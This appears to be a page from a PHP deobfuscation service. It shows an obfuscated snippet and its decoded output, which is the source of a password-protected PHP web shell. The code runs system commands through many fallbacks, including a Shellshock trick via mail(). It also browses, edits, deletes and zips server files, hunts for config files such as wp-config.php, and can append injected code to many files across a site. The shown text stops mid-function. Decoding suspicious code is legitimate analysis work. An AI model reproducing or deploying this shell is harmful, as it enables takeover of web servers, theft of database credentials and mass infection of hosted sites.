Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $pass = "admin"; $m1=urldecode("%67%7A%69%6E%66%6C%61%74%65"); $m2=strrev('46esa..
Decoded Output download
error_reporting(0);
date_default_timezone_set('UTC');
ob_start();
define('myaddress', $_SERVER['SCRIPT_FILENAME']);
define('postpass', $pass);
function Exec_Run($cmd)
{
$res = '';
if (function_exists('exec')) {
@exec($cmd, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cmd);
} elseif (function_exists('system')) {
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cmd, 'r'))) {
$res = '';
while (!@feof($f)) {
$res .= @fread($f, 1024);
}
@pclose($f);
} elseif (substr(dirname($_SERVER["SCRIPT_FILENAME"]), 0, 1) != "/" && class_exists('COM')) {
$w = new COM('WScript.shell');
$e = $w->exec($cmd);
$f = $e->StdOut();
$res = $f->ReadAll();
} elseif (function_exists('proc_open')) {
$length = strcspn($cmd, " \t");
$token = substr($cmd, 0, $length);
if (isset($aliases[$token])) $cmd = $aliases[$token] . substr($cmd, $length);
$p = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!feof($io[1])) {
$res .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8');
}
while (!feof($io[2])) {
$res .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
} elseif (function_exists('mail')) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".", "data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("[email protected]", "", "", "", "-bv");
} else $res = "Not vuln (not bash)";
$output = @implode('', @file($tmp));
@unlink($tmp);
if ($output != "") $res = $output; else $res = "No output, or not vuln.";
}
return $res;
}
function css_img($img)
{
$images = array(
"exe" =>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7" .
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt" .
"xhIAOw==",
"dir" => "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdE" .
"oMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"txt" =>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ" .
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7" .
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"html" =>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz" .
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P" .
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk" .
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR" .
"ADs=",
"js" =>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH" .
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs" .
"a00AjYYBbc/o9HjNniUAADs=",
"xml" =>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA" .
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx" .
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ" .
"IQA7",
"mp3" =>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU" .
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc" .
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"img" =>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci" .
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd" .
"FxEAOw==",
"title" => "R0lGODlhDgAOAMQAAOGmGmZmZv//xVVVVeW6E+K2F/+ZAHNzcf+vAGdnaf/AAHt1af+" .
"mAP/FAP61AHt4aXNza+WnFP//zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"ACH5BAAHAP8ALAAAAAAOAA4AAAVJYPIcZGk+wUM0bOsWoyu35KzceO3sjsTvDR1P4uMFDw2EEkGUL" .
"I8NhpTRnEKnVAkWaugaJN4uN0y+kr2M4CIycwEWg4VpfoCHAAA7",
"rar" => "R0lGODlhEAAQAPf/AAAAAAAAgAAA/wCAAAD/AACAgIAAAIAAgP8A/4CAAP//AMDAwP///wAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ACH5BAEKAP8ALAAAAAAQABAAAAiFAP0YEEhwoEE/" .
"/xIuEJhgQYKDBxP+W2ig4cOCBCcyoHjAQMePHgf6WbDxgAIEKFOmHDmSwciQIDsiXLgwgZ+b" .
"OHOSXJiz581/LRcE2LigqNGiLEkKWCCgqVOnM1naDOCHqtWbO336BLpzgAICYMOGRdgywIIC" .
"aNOmRcjVj02tPxPCzfkvIAA7"
);
header('Content-type: image/gif');
echo base64_decode($images[$img]);
die();
}
function css_showimg($file)
{
$it = substr($file, -3);
switch ($it) {
case "jpg":
case "gif":
case "bmp":
case "png":
case "ico":
return 'img';
break;
case "htm":
case "tml":
return 'html';
break;
case "exe":
case "com":
return 'exe';
break;
case "xml":
case "doc":
return 'xml';
break;
case ".js":
case "vbs":
return 'js';
break;
case "mp3":
case "wma":
case "wav":
case "swf":
case ".rm":
case "avi":
case "mp4":
case "mvb":
return 'mp3';
break;
case "rar":
case "tar":
case ".gz":
case "zip":
case "iso":
return 'rar';
break;
default:
return 'txt';
break;
}
}
function html_n($data)
{
echo "$data\n";
}
function muma($filecode, $filetype)
{
$dim = array(
"php" => array("eval(", "exec("),
"asp" => array("WScript.Shell", "execute(", "createtextfile("),
"aspx" => array("Response.Write(eval(", "RunCMD(", "CreateText()"),
"jsp" => array("runtime.exec(")
);
foreach ($dim[$filetype] as $code) {
if (stristr($filecode, $code)) return true;
}
}
function debug($file, $ftype)
{
$type = explode('|', $ftype);
foreach ($type as $i) {
if (stristr($file, $i)) return true;
}
}
function str_path($path)
{
return str_replace('//', '/', $path);
}
function msg($msg)
{
die("<script>window.alert('" . $msg . "');history.go(-1);</script>");
}
function uppath($nowpath)
{
$nowpath = str_replace('\\', '/', dirname($nowpath));
return urlencode($nowpath);
}
function html_ta($url, $name)
{
html_n("<a href=\"$url\" target=\"_blank\">$name</a>");
}
function html_a($url, $name, $where = '')
{
html_n("<a href=\"$url\" $where>$name</a> ");
}
function html_img($url)
{
html_n("<img src=\"?img=$url\" border=0>");
}
function back()
{
html_n("<input type='button' value='' onclick='history.back();'>");
}
function html_radio($namei, $namet, $v1, $v2)
{
html_n('<input type="radio" name="return" value="' . $v1 . '" checked>' . $namei);
html_n('<input type="radio" name="return" value="' . $v2 . '">' . $namet . '<br><br>');
}
function html_input($type, $name, $value = '', $text = '', $size = '', $mode = false)
{
if ($mode) {
html_n("<input type=\"$type\" name=\"$name\" value=\"$value\" size=\"$size\" checked>$text");
} else {
html_n("$text <input type=\"$type\" name=\"$name\" value=\"$value\" size=\"$size\">");
}
}
function html_text($name, $cols, $rows, $value = '')
{
html_n("<br><br><textarea name=\"$name\" COLS=\"$cols\" ROWS=\"$rows\" >$value</textarea>");
}
function html_select($array, $mode = '', $change = '', $name = 'class')
{
html_n("<select name=$name $change>");
foreach ($array as $name => $value) {
if ($name == $mode) {
html_n("<option value=\"$name\" selected>$value</option>");
} else {
html_n("<option value=\"$name\">$value</option>");
}
}
html_n("</select>");
}
function html_font($color, $size, $name)
{
html_n("<font color=\"$color\" size=\"$size\">$name</font>");
}
function File_Str($string)
{
return str_replace('//', '/', str_replace('\\', '/', $string));
}
function File_Write($filename, $filecode, $filemode)
{
$key = true;
$handle = @fopen($filename, $filemode);
if (!@fwrite($handle, $filecode)) {
@chmod($filename, 0666);
$key = @fwrite($handle, $filecode) ? true : false;
}
@fclose($handle);
return $key;
}
function File_Mode()
{
$RealPath = realpath('./');
$SelfPath = $_SERVER['PHP_SELF'];
$SelfPath = substr($SelfPath, 0, strrpos($SelfPath, '/'));
return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
}
function GetFileOwner($File)
{
if (PATH_SEPARATOR == ':') {
if (function_exists('posix_getpwuid')) {
$File = posix_getpwuid(fileowner($File));
}
return $File['name'];
}
}
function GetFileGroup($File)
{
if (PATH_SEPARATOR == ':') {
if (function_exists('posix_getgrgid')) {
$File = posix_getgrgid(filegroup($File));
}
return $File['name'];
}
}
function File_Size($size)
{
$kb = 1024;
$mb = 1024 * $kb;
$gb = 1024 * $mb;
$tb = 1024 * $gb;
$db = 1024 * $tb;
if ($size < $kb) {
return $size . " B";
} else if ($size < $mb) {
return round($size / $kb, 2) . " K";
} else if ($size < $gb) {
return round($size / $mb, 2) . " M";
} else if ($size < $tb) {
return round($size / $gb, 2) . " G";
} else if ($size < $db) {
return round($size / $tb, 2) . " T";
} else {
return round($size / $db, 2) . " ST";
}
}
function File_Read($filename)
{
$handle = @fopen($filename, "rb");
$filecode = @fread($handle, @filesize($filename));
@fclose($handle);
return $filecode;
}
function array_iconv($data, $output = 'utf-8')
{
$encode_arr = array('UTF-8', 'ASCII', 'GBK', 'GB2312', 'BIG5', 'JIS', 'eucjp-win', 'sjis-win', 'EUC-JP');
$encoded = mb_detect_encoding($data, $encode_arr);
if (!is_array($data)) {
return mb_convert_encoding($data, $output, $encoded);
} else {
foreach ($data as $key => $val) {
$key = array_iconv($key, $output);
if (is_array($val)) {
$data[$key] = array_iconv($val, $output);
} else {
$data[$key] = mb_convert_encoding($data, $output, $encoded);
}
}
return $data;
}
}
function Mysql_Len($data, $len)
{
if (strlen($data) < $len) return $data;
return substr_replace($data, '...', $len);
}
function css_js($num, $code = '')
{
html_n('<script language="javascript">');
if ($num == "1") {
$str = <<<end
function rusurechk(msg,url){
smsg = "FileName:[" + msg + "]\\nPlease Input New File:";
re = prompt(smsg,msg);
if (re){
url = url + re;
window.location = url;
}
}
function rusuredel(msg,url){
smsg = "Do You Suer Delete [" + msg + "] ?";
if(confirm(smsg)){
URL = url + msg;
window.location = url;
}
}
function Delok(msg,gourl)
{
smsg = "[" + unescape(msg) + "]?";
if(confirm(smsg))
{
if(gourl == 'b')
{
document.getElementById('actall').value = escape(gourl);
document.getElementById('fileall').submit();
}
else window.location = gourl;
}
}
function SubmitAttran(msg,ffile,txt,actid)
{
re = prompt(msg,unescape(txt));
if(re)
{
document.getElementById('attam').value = actid;
document.getElementById('file').value = ffile;
document.getElementById('inver').value = re;
document.getElementById('fileall').submit();
}
}
function CheckAll(form)
{
for(var i=0;i<form.elements.length;i++)
{
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function CheckDate(msg,gourl)
{
smsg = ":[" + msg + "]";
re = prompt(smsg,msg);
if(re)
{
var url = gourl + re;
var reg = /^(\d{1,4})(-|\/)(\d{1,2})\\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/;
var r = re.match(reg);
if(r==null){alert('!:yyyy-mm-dd hh:mm:ss');return false;}
else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
}
}
function SubmitUrl(msg,txt,actid)
{
re = prompt(msg,unescape(txt));
if(re)
{
document.getElementById('actall').value = actid;
document.getElementById('inver').value = escape(re);
document.getElementById('fileall').submit();
}
}
end;
html_n($str);
} elseif ($num == "2") {
$str = <<<end
var NS4 = (document.layers);
var IE4 = (document.all);
var win = this;
var n = 0;
function search(str){
var txt, i, found;
if(str == "")return false;
if(NS4){
if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
if(n == 0) alert(str + " ... Not-Find")
}
if(IE4){
txt = win.document.body.createTextRange();
for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){
txt.moveStart("character", 1);
txt.moveEnd("textedit")
}
if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")}
}
return false
}
function CheckDate(){
var re = document.getElementById('mtime').value;
var reg = /^(\d{1,4})(-|\/)(\d{1,2})\\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/;
var r = re.match(reg);
var t = document.getElementById('charset').value;
t = t.toLowerCase();
if(r==null){alert('!:yyyy-mm-dd hh:mm:ss');return false;}
else{document.getElementById('newfile').value = base64encode(document.getElementById('newfile').value);
if(t=="utf-8"){document.getElementById('txt').value = base64encode(utf16to8(document.getElementById('txt').value));}
end;
html_n($str);
if (substr(PHP_VERSION, 0, 1) >= 5) {
$str = <<<end
if(t=="gbk" || t=="gb2312"){document.getElementById('txt').value = base64encode(utf16to8(document.getElementById('txt').value));}
end;
html_n($str);
}
$str = <<<end
document.getElementById('editor').submit();}
}
end;
html_n($str);
} elseif ($num == "4") {
$str = <<<end
function Fulll(i){
if(i==0){
return false;
}
Str = new Array(10);
Str[1] = "config.inc.php";
Str[2] = "config.inc.php";
Str[3] = "config_base.php";
Str[4] = "config.inc.php";
Str[5] = "config.php";
Str[6] = "wp-config.php";
Str[7] = "config.php";
Str[8] = "mysql.php";
Str[9] = "common.inc.php";
Str[10] = "databases.php";
sform.code.value = Str[i];
return true;
}
end;
html_n($str);
}
html_n("</script>");
}
function css_left()
{
$str = <<<end
<style type="text/css">
.menu{width:152px;margin-left:auto;margin-right:auto;}
.menu dl{margin-top:2px;}
.menu dl dt{top left repeat-x;}
.menu dl dt a{height:22px;padding-top:1px;line-height:18px;width:152px;display:block;color:#FFFFFF;font-weight:bold;
text-decoration:none; 10px 7px no-repeat;text-indent:20px;letter-spacing:2px;}
.menu dl dt a:hover{color:#FFFFCC;}
.menu dl dd ul{list-style:none;}
.menu dl dd ul li a{color:#000000;height:27px;widows:152px;display:block;line-height:27px;text-indent:28px;
background:#BBBBBB no-repeat 13px 11px;border-color:#FFF #545454 #545454 #FFF;
border-style:solid;border-width:1px;}
.menu dl dd ul li a:hover{background:#FFF no-repeat 13px 11px;color:#FF6600;font-weight:bold;}
</STYLE>
end;
html_n($str);
$str = <<<end
<script language="javascript">
function getObject(objectId){
if(document.getElementById && document.getElementById(objectId)) {
return document.getElementById(objectId);
}
else if (document.all && document.all(objectId)) {
return document.all(objectId);
}
else if (document.layers && document.layers[objectId]) {
return document.layers[objectId];
}
else {
return false;
}
}
function showHide(objname){
var obj = getObject(objname);
if(obj.style.display == "none"){
obj.style.display = "block";
}else{
obj.style.display = "none";
}
}
</script><div class="menu">
end;
html_n($str);
}
function css_main()
{
$str = <<<end
<style type="text/css">
*{padding:0px;margin:0px;}
body,td{font-size: 12px;color:#00ff00;background:#292929;}input,select,textarea{font-size: 12px;background-color:#FFFFCC;border:1px solid #fff}
body{color:#FFFFFF;font-family:Verdana, Arial, Helvetica, sans-serif;
height:100%;overflow-y:auto;background:#333333;SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #232323; SCROLLBAR-SHADOW-COLOR: #383838; SCROLLBAR-DARKSHADOW-COLOR: #383838; SCROLLBAR-3DLIGHT-COLOR: #232323; SCROLLBAR-ARROW-COLOR: #FFFFFF;SCROLLBAR-TRACK-COLOR: #383838;}
input,select,textarea{background-color:#FFFFCC;border:1px solid #FFFFFF}
a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}
.actall{background:#000000;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
</STYLE><body style="table-layout:fixed; word-break:break-all; FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#626262,endColorStr=#1C1C1C)">
<table width="85%" border=0 bgcolor="#555555" align="center">
end;
html_n($str);
}
function css_foot()
{
html_n("</td></tr></table>");
}
function do_write($file, $t, $text)
{
$key = true;
$handle = @fopen($file, $t);
if ($text != "") {
if (!@fwrite($handle, $text)) {
@chmod($file, 0666);
$key = @fwrite($handle, $text) ? true : false;
}
}
@fclose($handle);
return $key;
}
function do_show($filepath)
{
$show = array();
$dir = dir($filepath);
while ($file = $dir->read()) {
if ($file == '.' or $file == '..') continue;
$files = str_path($filepath . '/' . $file);
$show[] = $files;
}
$dir->close();
return $show;
}
function delDirAndFile($path)
{
if (is_dir($path)) {
$file_list = scandir($path);
foreach ($file_list as $file) {
if ($file != '.' && $file != '..') {
delDirAndFile($path . '/' . $file);//
}
}
@rmdir($path);//
} else if (is_file($path)) {
@chmod($path, 0777);
@unlink($path);//
}
}
function do_showsql($query, $conn)
{
$result = @mysql_query($query, $conn);
html_n('<br><br><textarea cols="70" rows="15">');
while ($row = @mysql_fetch_array($result)) {
for ($i = 0; $i < @mysql_num_fields($result); $i++) {
html_n(htmlspecialchars($row[$i]));
}
}
html_n('</textarea>');
}
function do_down($fd)
{
if (!@file_exists($fd)) msg("");
$fileinfo = pathinfo($fd);
header("Content-type: application/x-" . $fileinfo['extension']);
header("Content-Disposition: attachment; filename=" . $fileinfo['basename']);
header("Content-Length: " . filesize($fd));
@readfile($fd);
exit;
}
function do_download($filecode, $file)
{
header("Content-type: application/unknown");
header("Accept-Ranges: bytes");
header("Content-length: " . strlen($filecode));
header("Content-Disposition: attachment; filename=" . $file . ";");
echo $filecode;
exit;
}
function TestUtf8($text)
{
if (strlen($text) < 3) return false;
$lastch = 0;
$begin = 0;
$BOM = true;
$BOMchs = array(0xEF, 0xBB, 0xBF);
$good = 0;
$bad = 0;
$notAscii = 0;
for ($i = 0; $i < strlen($text); $i++) {
$ch = ord($text[$i]);
if ($begin < 3) {
$BOM = ($BOMchs[$begin] == $ch);
$begin += 1;
continue;
}
if ($begin == 4 && $BOM) break;
if ($ch >= 0x80) $notAscii++;
if (($ch & 0xC0) == 0x80) {
if (($lastch & 0xC0) == 0xC0) {
$good += 1;
} else if (($lastch & 0x80) == 0) {
$bad += 1;
}
} else if (($lastch & 0xC0) == 0xC0) {
$bad += 1;
}
$lastch = $ch;
}
if ($begin == 4 && $BOM) {
return 2;
} else if ($notAscii == 0) {
return 1;
} else if ($good >= $bad) {
return 2;
} else {
return 0;
}
}
function Info_Cfg($varname)
{
switch ($result = get_cfg_var($varname)) {
case 0:
return "No";
break;
case 1:
return "Yes";
break;
default:
return $result;
break;
}
}
function Info_Fun($funName)
{
return (false !== function_exists($funName)) ? "Yes" : "No";
}
function do_passreturn($dir, $code, $type, $bool, $filetype = '', $shell = my_shell)
{
$show = do_show($dir);
foreach ($show as $files) {
if (is_dir($files) && $bool) {
do_passreturn($files, $code, $type, $bool, $filetype, $shell);
} else {
if ($files == $shell) continue;
switch ($type) {
case "guama":
if (debug($files, $filetype)) {
do_write($files, "ab", "\n" . $code) ? html_n("--> " . $files . "<br>") : html_n("--> " . $files . "<br>");
}
break;
case "qingma":
$filecode = @implode('', @file($files));
if (stristr($filecode, $code)) {
$newcode = str_replace($code, '', $filecode);
do_write($files, "wb", $newcode) ? html_n("--> " . $files . "<br>") : html_n("--> " . $files . "<br>");
}
break;
case "tihuan":
$filecode = @implode('', @file($files));
if (stristr($filecode, $code)) {
$newcode = str_replace($code, $filetype, $filecode);
do_write($files, "wb", $newcode) ? html_n("--> " . $files . "<br>") : html_n("--> " . $files . "<br>");
}
break;
case "scanfile":
$file = explode('/', $files);
if (stristr($file[count($file) - 1], $code)) {
html_a("?eanver=editr&p=" . $files, $files);
echo '<br>';
}
break;
case "scancode":
$filecode = @implode('', @file($files));
if (stristr($filecode, $code)) {
html_a("?eanver=editr&p=" . $files, $files);
echo '<br>';
}
break;
case "scanphp":
$fileinfo = pathinfo($files);
if ($fileinfo['extension'] == $code) {
$filecode = @implode('', @file($files));
if (muma($filecode, $code)) {
html_a("?eanver=editr&p=" . urlencode($files), "");
html_a("?eanver=del&p=" . urlencode($files), "");
echo $files . '<br>';
}
}
break;
}
}
}
}
class PHPzip
{
var $file_count = 0;
var $datastr_len = 0;
var $dirstr_len = 0;
var $filedata = '';
var $gzfilename;
var $fp;
var $dirstr = '';
function unix2DosTime($unixtime = 0)
{
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function startfile($path = 'wwwroot.zip')
{
$this->gzfilename = $path;
if ($this->fp = @fopen($this->gzfilename, "w")) {
return true;
}
return false;
}
function addfile($data, $name)
{
$name = str_replace('\\', '/', $name);
if (strrchr($name, '/') == '/') return $this->adddir($name);
$dtime = dechex($this->unix2DosTime());
$hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$datastr = "\x50\x4b\x03\x04";
$datastr .= "\x14\x00";
$datastr .= "\x00\x00";
$datastr .= "\x08\x00";
$datastr .= $hexdtime;
$datastr .= pack('V', $crc);
$datastr .= pack('V', $c_len);
$datastr .= pack('V', $unc_len);
$datastr .= pack('v', strlen($name));
$datastr .= pack('v', 0);
$datastr .= $name;
$datastr .= $zdata;
$datastr .= pack('V', $crc);
$datastr .= pack('V', $c_len);
$datastr .= pack('V', $unc_len);
fwrite($this->fp, $datastr);
$my_datastr_len = strlen($datastr);
unset($datastr);
$dirstr = "\x50\x4b\x01\x02";
$dirstr .= "\x00\x00";
$dirstr .= "\x14\x00";
$dirstr .= "\x00\x00";
$dirstr .= "\x08\x00";
$dirstr .= $hexdtime;
$dirstr .= pack('V', $crc);
$dirstr .= pack('V', $c_len);
$dirstr .= pack('V', $unc_len);
$dirstr .= pack('v', strlen($name));
$dirstr .= pack('v', 0);
$dirstr .= pack('v', 0);
$dirstr .= pack('v', 0);
$dirstr .= pack('v', 0);
$dirstr .= pack('V', 32);
$dirstr .= pack('V', $this->datastr_len);
$dirstr .= $name;
$this->dirstr .= $dirstr;
$this->file_count++;
$this->dirstr_len += strlen($dirstr);
$this->datastr_len += $my_datastr_len;
}
function adddir($name)
{
$name = str_replace("\\", "/", $name);
$datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$datastr .= pack("V", 0) . pack("V", 0) . pack("V", 0) . pack("v", strlen($name));
$datastr .= pack("v", 0) . $name . pack("V", 0) . pack("V", 0) . pack("V", 0);
fwrite($this->fp, $datastr);
$my_datastr_len = strlen($datastr);
unset($datastr);
$dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$dirstr .= pack("V", 0) . pack("V", 0) . pack("V", 0) . pack("v", strlen($name));
$dirstr .= pack("v", 0) . pack("v", 0) . pack("v", 0) . pack("v", 0);
$dirstr .= pack("V", 16) . pack("V", $this->datastr_len) . $name;
$this->dirstr .= $dirstr;
$this->file_count++;
$this->dirstr_len += strlen($dirstr);
$this->datastr_len += $my_datastr_len;
}
function createfile()
{
$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .
pack('v', $this->file_count) .
pack('v', $this->file_count) .
pack('V', $this->dirstr_len) .
pack('V', $this->datastr_len) .
"\x00\x00";
fwrite($this->fp, $this->dirstr . $endstr);
fclose($this->fp);
}
}
class eanver
{
var $out = '';
function __construct($dir)
{
if (@function_exists('gzcompress')) {
if (count($dir) > 0) {
foreach ($dir as $file) {
if (is_file($file)) {
$filecode = implode('', @file($file));
if (is_array($dir)) $file = basename($file);
$this->filezip($filecode, $file);
}
}
$this->out = $this->packfile();
}
return true;
} else return false;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function at($atunix = 0)
{
$unixarr = ($atunix == 0) ? getdate() : getdate($atunix);
if ($unixarr['year'] < 1980) {
$unixarr['year'] = 1980;
$unixarr['mon'] = 1;
$unixarr['mday'] = 1;
$unixarr['hours'] = 0;
$unixarr['minutes'] = 0;
$unixarr['seconds'] = 0;
}
return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) |
($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1);
}
function filezip($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->at($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this->datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
